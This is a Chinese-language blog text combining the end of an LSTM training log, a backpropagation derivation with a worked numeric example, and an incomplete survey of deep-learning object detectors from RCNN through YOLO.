y_pred[1] : -0.134484
y_pred[2] : -0.183013
y_pred[3] : -0.306198
loss:  0.331888922037
……
cur iter:  97
y_pred[0] : -0.500351
y_pred[1] : 0.201185
y_pred[2] : 0.099026
y_pred[3] : -0.499154
loss:  3.1926009167e-06
cur iter:  98
y_pred[0] : -0.500342
y_pred[1] : 0.201122
y_pred[2] : 0.099075
y_pred[3] : -0.499190
loss:  2.88684626031e-06
cur iter:  99
y_pred[0] : -0.500331
y_pred[1] : 0.201063
y_pred[2] : 0.099122
y_pred[3] : -0.499226
loss:  2.61076360677e-06

可以看出迭代100轮，最后Loss在不断收敛，并且逐渐逼近了预期序列：y_list = [-0.5, 0.2, 0.1, -0.5]。

Reference

• 深度学习 — 反向传播(BP)理论推导 (zhwhong)
• Nico’s Blog：Simple LSTM
• Github仓库：https://github.com/zhwhong/lstm
• RECURRENT NEURAL NETWORKS TUTORIAL, PART 3 – BACKPROPAGATION THROUGH TIME AND VANISHING GRADIENTS
• [福利] 深入理解 RNNs & LSTM 网络学习资料
• 关于简书中如何编辑Latex数学公式

(转载请联系作者并注明出处，谢谢！)

• [RNN] Simple LSTM代码实现 & BPTT理论推导

【知识预备】： UFLDL教程 - 反向传导算法

首先我们不讲数学，先上图解，看完图不懂再看后面：

“BP” Math Principle

======================================================================
Example：下面看一个简单的三层神经网络模型，一层输入层，一层隐藏层，一层输出层。

注：定义输入分别为x1, x2（对应图中的i1，i2），期望输出为y1，y2，假设logistic函数采用sigmoid函数:

易知：

下面开始正式分析(纯手打！！！)。

======================================================================

前向传播

首先分析神经元h1：

同理可得神经元h2：

对输出层神经元重复这个过程，使用隐藏层神经元的输出作为输入。这样就能给出o1，o2的输入输出：

现在开始统计所有误差，如下：

======================================================================

反向传播

【输出层】

对于w5，想知道其改变对总误差有多少影响，于是求Jtotal对w5的偏导数，如下：

分别求每一项：

于是有Jtotal对w5的偏导数：

据此更新权重w5，有：

同理可以更新参数w6，w7，w8。
在有新权重导入隐藏层神经元（即，当继续下面的反向传播算法时，使用原始权重，而不是更新的权重）之后，执行神经网络中的实际更新。

【隐藏层】

对于w1，想知道其改变对总误差有多少影响，于是求Jtotal对w1的偏导数，如下：

分别求每一项：

于是有Jtotal对w1的偏导数：

据此更新w1，有：

同理可以更新参数w2，w3，w4。

======================================================================

应用实例

假设对于上述简单三层网络模型，按如下方式初始化权重和偏置：

根据上述推导的公式：
由

得到：
input(h1) = 0.15 * 0.05 + 0.20 * 0.10 + 0.35 = 0.3775
output(h1) = f(input(h1)) = 1 / (1 + e^(-input(h1))) = 1 / (1 + e^-0.3775) = 0.593269992

同样得到：
input(h2) = 0.25 * 0.05 + 0.30 * 0.10 + 0.35 = 0.3925
output(h2) = f(input(h2)) = 1 / (1 + e^(-input(h2))) = 1 / (1 + e^-0.3925) = 0.596884378

对输出层神经元重复这个过程，使用隐藏层神经元的输出作为输入。这样就能给出o1的输出：
input(o1) = w5 * output(h1) + w6 * (output(h2)) + b2 = 0.40 * 0.593269992 + 0.45 * 0.596884378 + 0.60 = 1.105905967
output(o1) = f(input(o1)) = 1 / (1 + e^-1.105905967) = 0.75136507

同理output(o2) = 0.772928465

开始统计所有误差，求代价函数：
Jo1 = 1/2 * (0.75136507 - 0.01)^2 = 0.298371109
Jo2 = 1/2 * (0.772928465 - 0.99)^2 = 0.023560026

综合所述，可以得到总误差为：Jtotal = Jo1 + Jo2 = 0.321931135

然后反向传播，根据公式

求出 Jtotal对w5的偏导数为:
a = (0.75136507 - 0.01)*0.75136507*(1-0.75136507)*0.593269992 = 0.082167041

为了减少误差，然后从当前的权重减去这个值（可选择乘以一个学习率，比如设置为0.5），得：
w5+ = w5 - eta * a = 0.40 - 0.5 * 0.082167041 = 0.35891648

同理可以求出：
w6+ = 0.408666186
w7+ = 0.511301270
w8+ = 0.561370121

对于隐藏层，更新w1，求Jtotal对w1的偏导数：

偏导数为：
b = (tmp1 + tmp2) * tmp3

tmp1 = (0.75136507 - 0.01) * [0.75136507 * (1 - 0.75136507)] * 0.40 = 0.74136507 * 0.186815602 * 0.40 = 0.055399425
tmp2 = -0.019049119
tmp3 = 0.593269992 * (1 - 0.593269992) * 0.05 = 0.012065035

于是b = 0.000438568

更新权重w1为：
w1+ = w1 - eta * b = 0.15 - 0.5 * 0.000438568 = 0.149780716

同样可以求得：
w2+ = 0.19956143
w3+ = 0.24975114
w4+ = 0.29950229

最后，更新了所有的权重！ 当最初前馈传播时输入为0.05和0.1，网络上的误差是0.298371109。 在第一轮反向传播之后，总误差现在下降到0.291027924。 它可能看起来不太多，但是在重复此过程10,000次之后。例如，错误倾斜到0.000035085。
在这一点上，当前馈输入为0.05和0.1时，两个输出神经元产生0.015912196（相对于目标为0.01）和0.984065734（相对于目标为0.99），已经很接近了O(∩_∩)O~~

Reference

• https://zhuanlan.zhihu.com/p/23270674
• Principles of training multi-layer neural network using backpropagation
• [RNN] Simple LSTM代码实现 & BPTT理论推导
• 简书中如何编辑Latex数学公式

(转载请联系作者并注明出处，谢谢！)

Index

• RCNN
• SPP-Net
• Fast RCNN
• Faster RCNN
• R-FCN
• YOLO
• YOLO2
• SSD
• NMS

　　本文部分转载自：深度学习检测方法梳理，原作者venus024，但是额外补充了一些其他相关内容，仅供学习交流使用，不得用于商业途径，转载请联系作者并注明出处，谢谢。

1. RCNN

论文出处：Rich feature hierarchies for accurate object detection and semantic segmentation
论文作者：Ross Girshick, Jeff Donahue, Trevor Darrell, Jitendra Malik

• 技术路线：selective search + CNN + SVMs

　　早期，使用窗口扫描进行物体识别，计算量大。 RCNN去掉窗口扫描，用聚类方式，对图像进行分割分组，得到多个侯选框的层次组。

Step1:候选框提取(selective search)

• 训练：给定一张图片，利用seletive search方法从中提取出2000个候选框。由于候选框大小不一，考虑到后续CNN要求输入的图片大小统一，将2000个候选框全部resize到227*227分辨率（为了避免图像扭曲严重，中间可以采取一些技巧减少图像扭曲）。
• 测试：给定一张图片，利用seletive search方法从中提取出2000个候选框。由于候选框大小不一，考虑到后续CNN要求输入的图片大小统一，将2000个候选框全部resize到227*227分辨率（为了避免图像扭曲严重，中间可以采取一些技巧减少图像扭曲）。

Step2:特征提取(CNN)

• 训练：提取特征的CNN模型需要预先训练得到。训练CNN模型时，对训练数据标定要求比较宽松，即SS方法提取的proposal只包含部分目标区域时，我们也将该proposal标定为特定物体类别。这样做的主要原因在于，CNN训练需要大规模的数据，如果标定要求极其严格（即只有完全包含目标区域且不属于目标的区域不能超过一个小的阈值），那么用于CNN训练的样本数量会很少。因此，宽松标定条件下训练得到的CNN模型只能用于特征提取。
• 测试：得到统一分辨率227*227的proposal后，带入训练得到的CNN模型，最后一个全连接层的输出结果—4096*1维度向量即用于最终测试的特征。

Step3:分类器(SVMs)

• 训练：对于所有proposal进行严格的标定（可以这样理解，当且仅当一个候选框完全包含ground truth区域且不属于ground truth部分不超过e.g,候选框区域的5%时认为该候选框标定结果为目标，否则为背景），然后将所有proposal经过CNN处理得到的特征和SVM新标定结果输入到SVMs分类器进行训练得到分类器预测模型。
• 测试：对于一副测试图像，提取得到的2000个proposal经过CNN特征提取后输入到SVM分类器预测模型中，可以给出特定类别评分结果。
• 结果生成：得到SVMs对于所有Proposal的评分结果，将一些分数较低的proposal去掉后，剩下的proposal中会出现候选框相交的情况。采用非极大值抑制技术，对于相交的两个框或若干个框，找到最能代表最终检测结果的候选框。

　　R-CNN需要对SS提取得到的每个proposal进行一次前向CNN实现特征提取，因此计算量很大，无法实时。此外，由于全连接层的存在，需要严格保证输入的proposal最终resize到相同尺度大小，这在一定程度造成图像畸变，影响最终结果。

• 拓展阅读：基于R-CNN的物体检测-CVPR 2014

2. SPP-Net

论文出处：Spatial Pyramid Pooling in Deep Convolutional Networks for Visual Recognition
论文作者：Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun
GitHub参考： https://github.com/ShaoqingRen/SPP_net

传统CNN和SPP-Net流程对比如下图(图片来自这里)所示：

SPP-net具有以下特点：

1. 传统CNN网络中，卷积层对输入图像大小不作特别要求，但全连接层要求输入图像具有统一尺寸大小。因此，在R-CNN中，对于selective search方法提出的不同大小的proposal需要先通过Crop操作或Wrap操作将proposal区域裁剪为统一大小，然后用CNN提取proposal特征。相比之下，SPP-net在最后一个卷积层与其后的全连接层之间添加了一个SPP (spatial pyramid pooling) layer，从而避免对propsal进行Crop或Warp操作。总而言之，SPP-layer适用于不同尺寸的输入图像，通过SPP-layer对最后一个卷积层特征进行pool操作并产生固定大小feature map,进而匹配后续的全连接层。
2. 由于SPP-net支持不同尺寸输入图像，因此SPP-net提取得到的图像特征具有更好的尺度不变性，降低了训练过程中的过拟合可能性。
3. R-CNN在训练和测试是需要对每一个图像中每一个proposal进行一遍CNN前向特征提取，如果是2000个propsal,需要2000次前向CNN特征提取。但SPP-net只需要进行一次前向CNN特征提取，即对整图进行CNN特征提取，得到最后一个卷积层的feature map，然后采用SPP-layer根据空间对应关系得到相应proposal的特征。SPP-net速度可以比R-CNN速度快24~102倍，且准确率比R-CNN更高（下图引自SPP-net原作论文，可以看到SPP-net中spp-layer前有5个卷积层，第5个卷积层的输出特征在位置上可以对应到原来的图像，例如第一个图中左下角车轮在其conv5的图中显示为“^”的激活区域，因此基于此特性，SPP-net只需要对整图进行一遍前向卷积，在得到的conv5特征后，然后用SPP-net分别提取相应proposal的特征）。

SPP-Layer原理：

　　在R-CNN中，conv5后是pool5。在SPP-net中，用SPP-Layer替代原来的pool5，其目标是为了使不同大小输入图像在经过SPP-Layer后得到的特征向量长度相同。其原理如图如下所示：

　　SPP与金字塔pooling类似，即我们先确定最终pooling得到的feature map大小，例如4*4 bins，3*3 bins，2*2 bins，1*1 bins。那么我们已知conv5输出的feature map大小（例如，256个13*13的feature map）。那么，对于一个13*13的feature map,我们可以通过spatial pyramid pooling （SPP）的方式得到输出结果：当window=ceil(13/4)=4, stride=floor(13/4)=3,可以得到的4*4 bins；当window=ceil(13/3)=5, stride=floor(13/3)=4,可以得到的3*3 bins；当window=ceil(13/2)=7, stride=floor(13/2)=6,可以得到的2*2 bins；当window=ceil(13/1)=13, stride=floor(13/1)=13,可以得到的1*1 bins.因此SPP-Layer后的输出是256*（4*4+3*3+2*2+1*1）=256*30长度的向量。不难看出，SPP的关键实现在于通过conv5输出的feature map宽高和SPP目标输出bin的宽高计算spatial pyramid pooling中不同分辨率Bins对应的pooling window和pool stride尺寸。

　　原作者在训练时采用两种不同的方式，即 1.采用相同尺寸的图像训练SPP-net, 2.采用不同尺寸的图像训练SPP-net。实验结果表明：使用不同尺寸输入图像训练得到的SPP-Net效果更好。

SPP-Net +SVM训练：

　　采用selective search可以提取到一系列proposals，由于已经训练完成SPP-Net,那么我们先将整图代入到SPP-Net中，得到的conv5的输出。接下来，区别于R-CNN，新方法不需要对不同尺寸的proposals进行Crop或Wrap，直接根据proposal在图中的相对位置关系计算得到proposal在整图conv5输出中的映射输出结果。这样，对于2000个proposal，我们事实上从conv1 —> conv5只做了一遍前向，然后进行2000次conv5 feature map的集合映射，再通过SPP-Layer，就可以得到2000组长度相同的SPP-Layer输出向量，进而通过全连接层生成最终2000个proposal的卷积神经网络特征。接下来就和R-CNN类似，训练SVMs时对于所有proposal进行严格的标定（可以这样理解，当且仅当一个候选框完全包含ground truth区域且不属于ground truth部分不超过e.g,候选框区域的5%时认为该候选框标定结果为目标，否则为背景），然后将所有proposal经过CNN处理得到的特征和SVM新标定结果输入到SVMs分类器进行训练得到分类器预测模型。

　　当然，如果觉得SVM训练很麻烦，可以直接在SPP-Net后再加一个softmax层，用好的标定结果去训练最后的softmax层参数。

• 拓展阅读：RCNN SPP_net

3. Fast RCNN

论文出处：Fast R-CNN
论文作者：Ross Girshick

　　基于R-CNN和SPP-Net思想，RBG提出了Fast R-CNN算法。如果选用VGG16网络进行特征提取，在训练阶段，Fast R-CNN的速度相比R-CNN和SPP-Net可以分别提升9倍和3倍；在测试阶段，Fast R-CNN的速度相比R-CNN和SPP-Net可以分别提升213倍和10倍。

R-CNN和SPP-Net缺点：

1. R-CNN和SPP-Net的训练过程类似，分多个阶段进行，实现过程较复杂。这两种方法首先选用Selective Search方法提取proposals,然后用CNN实现特征提取，最后基于SVMs算法训练分类器，在此基础上还可以进一步学习检测目标的bounding box。
2. R-CNN和SPP-Net的时间成本和空间代价较高。SPP-Net在特征提取阶段只需要对整图做一遍前向CNN计算，然后通过空间映射方式计算得到每一个proposal相应的CNN特征；区别于前者，R-CNN在特征提取阶段对每一个proposal均需要做一遍前向CNN计算，考虑到proposal数量较多（~2000个），因此R-CNN特征提取的时间成本很高。R-CNN和SPP-Net用于训练SVMs分类器的特征需要提前保存在磁盘，考虑到2000个proposal的CNN特征总量还是比较大，因此造成空间代价较高。
3. R-CNN检测速度很慢。R-CNN在特征提取阶段对每一个proposal均需要做一遍前向CNN计算，如果用VGG进行特征提取，处理一幅图像的所有proposal需要47s。
4. 特征提取CNN的训练和SVMs分类器的训练在时间上是先后顺序，两者的训练方式独立，因此SVMs的训练Loss无法更新SPP-Layer之前的卷积层参数，因此即使采用更深的CNN网络进行特征提取，也无法保证SVMs分类器的准确率一定能够提升。

Fast R-CNN亮点：

1. Fast R-CNN检测效果优于R-CNN和SPP-Net；
2. 训练方式简单，基于多任务Loss,不需要SVM训练分类器；
3. Fast R-CNN可以更新所有层的网络参数（采用ROI Layer将不再需要使用SVM分类器，从而可以实现整个网络端到端训练）；
4. 不需要将特征缓存到磁盘。

Fast R-CNN架构：

　　Fast R-CNN的架构如下图所示（可以参考此链接理解网络模型）：输入一幅图像和Selective Search方法生成的一系列Proposals，通过一系列卷积层和Pooling层生成feature map，然后用RoI（region of ineterst）层处理最后一个卷积层得到的feature map为每一个proposal生成一个定长的特征向量roi_pool5。RoI层的输出roi_pool5接着输入到全连接层产生最终用于多任务学习的特征并用于计算多任务Loss。全连接输出包括两个分支：1.SoftMax Loss ：计算K+1类的分类Loss函数，其中K表示K个目标类别，1表示背景；2.Regression Loss ：即K+1的分类结果相应的proposal的bounding box四个角点坐标值。最终将所有结果通过非极大抑制(NMS)处理产生最终的目标检测和识别结果。

3.1 RoI Pooling Layer

　　事实上，RoI Pooling Layer是SPP-Layer的简化形式。SPP-Layer是空间金字塔Pooling层，包括不同的尺度；RoI Layer只包含一种尺度，如论文中所述7*7。这样对于RoI Layer的输入（r,c,h,w），RoI Layer首先产生7*7个r*c*(h/7)*(w/7)的Block(块)，然后用Max-Pool方式求出每一个Block的最大值，这样RoI Layer的输出是r*c*7*7。

3.2 预训练网络初始化

　　RBG复用了VGG训练ImageNet得到的网络模型，即VGG16模型以初始化Fast R-CNN中RoI Layer以前的所有层。Fast R-CNN的网络结构整体可以总结如下：13个convolution layers + 4个pooling layers + RoI layer + 2个fc layer + 2个parrel层（即Softmax Loss layer和Smooth L1 Loss layer）。在Fast R-CNN中，原来VGG16中第5个pooling layer被新的RoI layer替换掉。

3.3 Finetuning for detection

(1) fast r-cnn在网络训练阶段采用了一些trick，每个minibatch是由N幅图片（N=2）中提取得到的R个proposal（R=128）组成的。这种minibatch的构造方式比从128张不同图片中提取1个proposal的构造方式快64倍。虽然minibatch的构造速度加快，但也在一定程度上造成收敛速度减慢。此外，fast r-cnn摒弃了之前svm训练分类器的方式，而是选用softmax classifier和bounding-box regressors联合训练的方式更新cnn网络所有层参数。注意：在每2张图中选取128个proposals时，需要严格保证至少25%的正样本类（proposals与ground truth的IOU超过0.5），剩下的可全部视作背景类。在训练网络模型时，不需要任何其他形式的数据扩增操作。
(2) multi-task loss：fast r-cnn包括两个同等水平的sub-layer，分别用于classification和regression。其中，Softmax Loss对应于classification，Smooth L1 Loss对应于regression，两种Loss的权重比例为1:1。
(3) SGD hyer-parameters：用于softmax分类任务和bounding-box回归的fc层参数用标准差介于0.01~0.001之间的高斯分布初始化。

3.4 Truncated SVD快速检测

在检测段，RBG使用truncated SVD优化较大的FC层，这样RoI数目较大时检测端速度会得到的加速。

Fast R-CNN实验结论：

1. multi-task loss训练方式能提高算法准确度；
2. multi-scale图像训练fast r-cnn相比较single-scale图像训练相比对mAP的提升幅度很小，但是却增加了很高的时间成本。因此，综合考虑训练时间和mAP，作者建议直接用single尺度的图像训练fast r-cnn；
3. 用于训练的图像越多，训练得到的模型准确率也会越高；
4. Softmax Loss训练方式比SVMs训练得到的结果略好一点，因此无法证明Softmax Loss在效果上一定比svm强，但是简化了训练流程，无需分步骤训练模型；
5. proposal并不是提取的越多效果越好，太多proposal反而导致mAP下降。

4. Faster RCNN

论文出处：Faster R-CNN: Towards Real-Time Object Detection with Region Proposal Networks
论文作者：Shaoqing Ren, Kaiming He, Ross Girshick, Jian Sun

　　在之前介绍的Fast R-CNN中，第一步需要先使用Selective Search方法提取图像中的proposals。基于CPU实现的Selective Search提取一幅图像的所有Proposals需要约2s的时间。在不计入proposal提取情况下，Fast R-CNN基本可以实时进行目标检测。但是，如果从端到端的角度考虑，显然proposal提取成为影响端到端算法性能的瓶颈。目前最新的EdgeBoxes算法虽然在一定程度提高了候选框提取的准确率和效率，但是处理一幅图像仍然需要0.2s。因此，Ren Shaoqing提出新的Faster R-CNN算法，该算法引入了RPN网络（Region Proposal Network）提取proposals。RPN网络是一个全卷积神经网络，通过共享卷积层特征可以实现proposal的提取，RPN提取一幅像的proposal只需要10ms.

　　Faster R-CNN算法由两大模块组成：1.PRN候选框提取模块，2.Fast R-CNN检测模块。其中，RPN是全卷积神经网络，用于提取候选框；Fast R-CNN基于RPN提取的proposal检测并识别proposal中的目标。

4.1 Region Proposal Network (RPN)

　　RPN网络的输入可以是任意大小（但还是有最小分辨率要求的，例如VGG是228*228）的图片。如果用VGG16进行特征提取，那么RPN网络的组成形式可以表示为VGG16+RPN。

VGG16 ：参考这个，可以看出VGG16中用于特征提取的部分是13个卷积层（conv1_1 —> conv5_3），不包括pool5及pool5后的网络层次结构。

RPN ：RPN是作者重点介绍的一种网络，如下图所示。RPN的实现方式：在conv5_3的卷积feature map上用一个n*n的滑窗（论文中作者选用了n=3，即3*3的滑窗）生成一个长度为256（对应于ZF网络）或512（对应于VGG网络）维长度的全连接特征。然后在这个256维或512维的特征后产生两个分支的全连接层：1.reg-layer，用于预测proposal的中心锚点对应的proposal的坐标x，y和宽高w，h；2.cls-layer，用于判定该proposal是前景还是背景。sliding window的处理方式保证reg-layer和cls-layer关联了conv5_3的全部特征空间。事实上，作者用全连接层实现方式介绍RPN层实现容易帮助我们理解这一过程，但在实现时作者选用了卷积层实现全连接层的功能。个人理解：全连接层本来就是特殊的卷积层，如果产生256或512维的fc特征，事实上可以用Num_out=256或512，kernel_size=3*3，stride=1的卷积层实现conv5_3到第一个全连接特征的映射。然后再用两个Num_out分别为2*9=18和4*9=36，kernel_size=1*1，stride=1的卷积层实现上一层特征到两个分支cls层和reg层的特征映射。注意：这里2*9中的2指cls层的分类结果包括前后背景两类，4*9的4表示一个Proposal的中心点坐标x，y和宽高w，h四个参数。采用卷积的方式实现全连接处理并不会减少参数的数量，但是使得输入图像的尺寸可以更加灵活。在RPN网络中，我们需要重点理解其中的anchors概念，Loss fucntions计算方式和RPN层训练数据生成的具体细节。

Anchors ：字面上可以理解为锚点，位于之前提到的n*n的sliding window的中心处。对于一个sliding window，我们可以同时预测多个proposal，假定有k个。k个proposal即k个reference boxes，每一个reference box又可以用一个scale，一个aspect_ratio和sliding window中的锚点唯一确定。所以，我们在后面说一个anchor，你就理解成一个anchor box 或一个reference box。作者在论文中定义k=9，即3种scale和3种aspect_ratio确定出当前sliding window位置处对应的9个reference boxes，4*k个reg-layer的输出和2*k个cls-layer的score输出。对于一幅W*H的feature map，对应W*H*k个锚点。所有的锚点都具有尺度不变性。

Anchor box的设置应比较好的覆盖到不同大小区域，如下图:

一张1000×600的图片，大概可以得到20k个anchor box(60×40×9)。

Loss functions ：在计算Loss值之前，作者设置了anchors的标定方法。正样本标定规则：1.如果Anchor对应的reference box与ground truth的IoU值最大，标记为正样本；2.如果Anchor对应的reference box与ground truth的IoU>0.7，标记为正样本。事实上，采用第2个规则基本上可以找到足够的正样本，但是对于一些极端情况，例如所有的Anchor对应的reference box与groud truth的IoU不大于0.7,可以采用第一种规则生成。负样本标定规则：如果Anchor对应的reference box与ground truth的IoU<0.3，标记为负样本。剩下的既不是正样本也不是负样本，不用于最终训练。训练RPN的Loss是有classification loss（即softmax loss）和regression loss（即L1 Loss）按一定比重组成的。计算softmax loss需要的是anchors对应的ground truth标定结果和预测结果，计算regression loss需要三组信息：1.预测框，即RPN网络预测出的proposal的中心位置坐标x，y和宽高w，h；2.锚点reference box:之前的9个锚点对应9个不同scale和aspect_ratio的reference boxes，每一个reference boxes都有一个中心点位置坐标x_a，y_a和宽高w_a，h_a。3.ground truth:标定的框也对应一个中心点位置坐标x*，y*和宽高w*，h*。因此计算regression loss和总Loss方式如下：

RPN训练设置 ：在训练RPN时，一个Mini-batch是由一幅图像中任意选取的256个proposal组成的，其中正负样本的比例为1:1。如果正样本不足128，则多用一些负样本以满足有256个Proposal可以用于训练，反之亦然。训练RPN时，与VGG共有的层参数可以直接拷贝经ImageNet训练得到的模型中的参数，剩下没有的层参数用标准差为0.01的高斯分布初始化。

4.2 RPN与Faster R-CNN特征共享

　　RPN在提取得到proposals后，作者选择使用Fast R-CNN实现最终目标的检测和识别。RPN和Fast R-CNN共用了13个VGG的卷积层，显然将这两个网络完全孤立训练不是明智的选择，作者采用交替训练阶段卷积层特征共享：

交替训练（Alternating training） ：Step1：训练RPN；Step2：用RPN提取得到的proposal训练Fast R-CNN；Step3：用Faster R-CNN初始化RPN网络中共用的卷积层。迭代执行Step1,2,3，直到训练结束为止，论文中采用的就是这种训练方式。注意：第一次迭代时，用ImageNet得到的模型初始化RPN和Fast R-CNN中卷积层的参数；从第二次迭代开始，训练RPN时，用Fast R-CNN的共享卷积层参数初始化RPN中的共享卷积层参数，然后只Fine-tune不共享的卷积层和其他层的相应参数。训练Fast-RCNN时，保持其与RPN共享的卷积层参数不变，只Fine-tune不共享的层对应的参数。这样就可以实现两个网络卷积层特征共享训练。相应的网络模型请参考这里。

4.3 深度挖掘

1. 由于Selective Search提取得到的Proposal尺度不一，因此Fast RCNN或SPP-Net生成的RoI也是尺度不一，最后分别用RoI Pooling Layer或SPP-Layer处理得到固定尺寸金字塔特征，在这一过程中，回归最终proposal的坐标网络的权重事实上共享了整个Feature Map，因此其训练的网络精度也会更高。但是，RPN方式提取的ROI由k个锚点生成，具有k种不同分辨率，因此在训练过程中学习到了k种独立的回归方式。这种方式并没有共享整个Feature Map，但其训练得到的网络精度也很高。这，我竟然无言以对。有什么问题，请找Anchors同学。
2. 采用不同分辨率图像在一定程度可以提高准确率，但是也会导致训练速度下降。采用VGG16训练RPN虽然使得第13个卷积层特征尺寸至少缩小到原图尺寸的1/16（事实上，考虑到kernel_size作用，会更小一些），然并卵，最终的检测和识别效果仍然好到令我无言以对。
3. 三种scale(128*128，256*256，512*512)，三种宽高比（1:2，1:1，2:1）,虽然scale区间很大，总感觉这样会很奇怪，但最终结果依然表现的很出色。
4. 训练时（例如600*1000的输入图像），如果reference box （即anchor box）的边界超过了图像边界，这样的anchors对训练Loss不产生影响，即忽略掉这样的Loss。一幅600*1000的图经过VGG16大约为40*60，那么anchors的数量大约为40*60*9，约等于20000个anchor boxes。去除掉与图像边界相交的anchor boxes后，剩下约6000个anchor boxes，这么多数量的anchor boxes之间会有很多重叠区域，因此使用非极值抑制方法将IoU>0.7的区域全部合并，剩下2000个anchor boxes（同理，在最终检测端，可以设置规则将概率大于某阈值P且IoU大于某阈值T的预测框（注意，和前面不同，不是anchor boxes）采用非极大抑制方法合并）。在每一个epoch训练过程中，随机从一幅图最终剩余的这些anchors采样256个anchor box作为一个Mini-batch训练RPN网络。

4.4 实验

1. PASCAL VOC 2007：使用ZF-Net训练RPN和Fast R-CNN，那么Selective Search + Fast R-CNN, EdgeBox+Fast R-CNN， RPN+Fast R-CNN的准确率分别为：58.7%，58.6%，59.9%. Seletive Seach和EdgeBox方法提取2000个proposal，RPN最多提取300个proposal，因此卷积特征共享方式提取特征的RPN显然在效率是更具有优势；
2. 采用VGG以特征不共享方式和特征共享方式训练RPN+Fast R-CNN,可以分别得到68.5%和69.9%的准确率（VOC2007）。此外，采用VGG训练RCNN时，需要花320ms提取2000个proposal，加入SVD优化后需要223ms，而Faster R-CNN整个前向过程（包括RPN+Fast R-CNN）总共只要198ms；
3. Anchors的scales和aspect_ratio的数量虽然不会对结果产生明显影响，但是为了算法稳定性，建议两个参数都设置为合适的数值。
4. 当Selective Search和EdgeBox提取的proposal数目由2000减少到300时，Faste R-CNN的Recall vs. IoU overlap ratio图中recall值会明显下降；但RPN提取的proposal数目由2000减少到300时，Recall vs. IoU overlap ratio图中recall值会比较稳定。

4.5 总结

　　特征共享方式训练RPN+Fast R-CNN能够实现极佳的检测效果，特征共享训练实现了买一送一，RPN在提取Proposal时不仅没有时间成本，还提高了proposal质量。因此Faster R-CNN中交替训练RPN+Fast R-CNN方式比原来的Slective Seach+Fast R-CNN更上一层楼。

5. R-FCN

论文出处：R-FCN: Object Detection via Region-based Fully Convolutional Networks
论文作者：Jifeng Dai, Yi Li, Kaiming He, Jian Sun
论文翻译：[译] 基于R-FCN的物体检测 (zhwhong)

　　RCNN系列(R-CNN、Fast R-CNN、Faster R-CNN)中，网络由两个子CNN构成。在图片分类中，只需一个CNN，效率非常高。所以物体检测是不是也可以只用一个CNN？

　　图片分类需要兼容形变，而物体检测需要利用形变，如何平衡？

　　R-FCN利用在CNN的最后进行位置相关的特征pooling来解决以上两个问题。

经普通CNN后，做有 k^2(C+1) 个 channel 的卷积，生成位置相关的特征(position-sensitive score maps)。

C 表示分类数，加 1 表示背景，k 表示后续要pooling 的大小，所以生成 k^2 倍的channel，以应对后面的空间pooling。

　　普通CNN后，还有一个RPN(Region Proposal Network)，生成候选框。

　　假设一个候选框大小为 w×h，将它投影在位置相关的特征上，并采用average-pooling的方式生成一个 k×k×k^2(C+1) 的块(与Fast RCNN一样)，再采用空间相关的pooling(k×k平面上每一个点取channel上对应的部分数据)，生成 k×k×(C+1)的块，最后再做average-pooling生成 C+1 的块，最后做softmax生成分类概率。

　　类似的，RPN也可以采用空间pooling的结构，生成一个channel为 4k^2的特征层。空间pooling的具体操作可以参考下面：

　　训练与SSD相似，训练时拿来做lost计算的点取一个常数，如128。 除去正点，剩下的所有使用概率最高的负点。

6. YOLO

论文出处：You Only Look Once: Unified, Real-Time Object Detection
论文作者：Joseph Redmon, Santosh Divvala, Ross Girshick, Ali Farhadi
项目主页：https://pjreddie.com/darknet/yolo/

　　Faster RCNN需要对20k个anchor box进行判断是否是物体，然后再进行物体识别，分成了两步。 YOLO则把物体框的选择与识别进行了结合，一步输出，即变成”You Only Look Once”。

　　YOLO是一个可以一次性预测多个Box位置和类别的卷积神经网络，能够实现端到端的目标检测和识别，其最大的优势就是速度快。事实上，目标检测的本质就是回归，因此一个实现回归功能的CNN并不需要复杂的设计过程。YOLO没有选择滑窗或提取proposal的方式训练网络，而是直接选用整图训练模型。这样做的好处在于可以更好的区分目标和背景区域，相比之下，采用proposal训练方式的Fast-R-CNN常常把背景区域误检为特定目标。当然,YOLO在提升检测速度的同时牺牲了一些精度。下图所示是YOLO检测系统流程：1.将图像Resize到448*448；2.运行CNN；3.非极大抑制优化检测结果。有兴趣的童鞋可以按照这个说明安装测试一下YOLO的scoring流程，非常容易上手。接下来将重点介绍YOLO的原理。

6.1 一体化检测方案

　　YOLO的设计理念遵循端到端训练和实时检测。YOLO将输入图像划分为S*S个网络，如果一个物体的中心落在某网格(cell)内，则相应网格负责检测该物体。在训练和测试时，每个网络预测B个bounding boxes，每个bounding box对应5个预测参数，即bounding box的中心点坐标(x,y)，宽高（w,h）和置信度评分。这里的置信度评分( Pr(Object)*IOU(pred|truth) )综合反映基于当前模型bounding box内存在目标的可能性Pr(Object)和bounding box预测目标位置的准确性IOU(pred|truth)。如果bouding box内不存在物体，则Pr(Object)=0。如果存在物体，则根据预测的bounding box和真实的bounding box计算IOU，同时会预测存在物体的情况下该物体属于某一类的后验概率Pr(Class_i|Object)。假定一共有C类物体，那么每一个网格只预测一次C类物体的条件类概率Pr(Class_i|Object)，i=1,2,…,C；每一个网格预测B个bounding box的位置。即这B个bounding box共享一套条件类概率Pr(Class_i|Object)，i=1,2,…,C。基于计算得到的Pr(Class_i|Object)，在测试时可以计算某个bounding box类相关置信度：Pr(Class_i|Object) * Pr(Object) * IOU(pred|truth) = Pr(Class_i) * IOU(pred|truth)。如果将输入图像划分为7*7网格（S=7），每个网格预测2个bounding box (B=2)，有20类待检测的目标（C=20），则相当于最终预测一个长度为S*S*(B*5+C)=7*7*30的向量，从而完成检测+识别任务，整个流程可以通过下图理解。

• 把缩放成统一大小的图片分割成S×S的单元格
• 每个单元格输出B个矩形框(冗余设计)，包含框的位置信息(x, y, w, h)与物体的Confidence
• 每个单元格再输出C个类别的条件概率P(Class∣Object)
• 最终输出层应有S×S×(B∗5+C)个单元
• 其中x、y是每个单元格的相对位置，w、h是整图的相对大小

Conficence定义如下:

(1) 网络设计

　　YOLO网络设计遵循了GoogLeNet的思想，但与之有所区别。YOLO使用了24个级联的卷积(conv)层和2个全连接(fc)层，其中conv层包括3*3和1*1两种Kernel，最后一个fc层即YOLO网络的输出，长度为S*S*(B*5+C)=7*7*30。此外，作者还设计了一个简化版的YOLO-small网络，包括9个级联的conv层和2个fc层，由于conv层的数量少了很多，因此YOLO-small速度比YOLO快很多。如下图所示我们给出了YOLO网络的架构。

(2) 训练

